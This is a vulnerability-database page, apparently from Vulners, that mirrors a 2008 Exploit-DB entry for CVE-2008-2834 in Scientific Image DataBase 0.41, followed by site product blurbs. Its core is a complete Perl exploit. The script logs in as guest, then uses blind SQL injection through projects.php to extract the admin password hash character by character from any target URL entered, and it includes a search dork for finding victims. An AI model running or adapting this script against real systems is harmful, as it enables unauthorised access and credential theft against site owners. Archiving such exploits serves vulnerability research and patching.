Lucene search
+L

Scientific Image DataBase 0.41 - Blind SQL Injection

🗓️ 21 Jun 2008 00:00:00Reported by t0pP8uZzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Scientific Image DataBase 0.41 Blind SQL Injection exploi

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2008-2834
24 Jun 200819:41
attackerkb
circl
Circl
CVE-2008-2834
21 Jun 200800:00
circl
cve
CVE
CVE-2008-2834
24 Jun 200819:00
cve
cvelist
Cvelist
CVE-2008-2834
24 Jun 200819:00
cvelist
euvd
EUVD
EUVD-2008-2827
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-2834
24 Jun 200819:41
nvd
prion
Prion
Sql injection
24 Jun 200819:41
prion
#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;

# Download: http://sidb.sourceforge.net/
# Dork: "Scientific Image DataBase"
# This exploit retrives the admin username/password via blind mysql injection.


print <<INFO; # heredocs is ugly.. so is my INFO ;)
-------------------------------------
- Scientific Image DataBase <= 0.41 -
-    Blind SQL Injection Exploit    -
-                                   -
- Coded && Discovered By: t0pP8uZz  -
-    Discovered On: 19 JUNE 2008    -
-------------------------------------
-Greetz: muts, perlunderground, h-y -
-          cipher, milw0rm          -
-------------------------------------

INFO

print "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);

my ($substr, $done, $chr, $res) = (1, 1, 48, "");

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );
$ua->post($url."/login.php", { 'logon' => 'true', 'user' => 'guest', 'pwd' => 'guest', 'submit' => 'Login' } );

while($done) {
    my $content = $ua->get($url."/projects.php?show=true&id=57%20and%20ascii(substring((select%20pwd%20from%20users%20where%20userid=1),".$substr.",1))=".$chr);

    if($content->content =~ /Not meant/ && length($res) == 32) { $done = 0; }
    elsif($content->content !~ /Not meant/) { $res .= chr($chr); $substr++; $chr = 48; }
    else { $chr++; }
}
print "Username: sysadmin  Password: ".$res."\n";
exit;

# milw0rm.com [2008-06-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation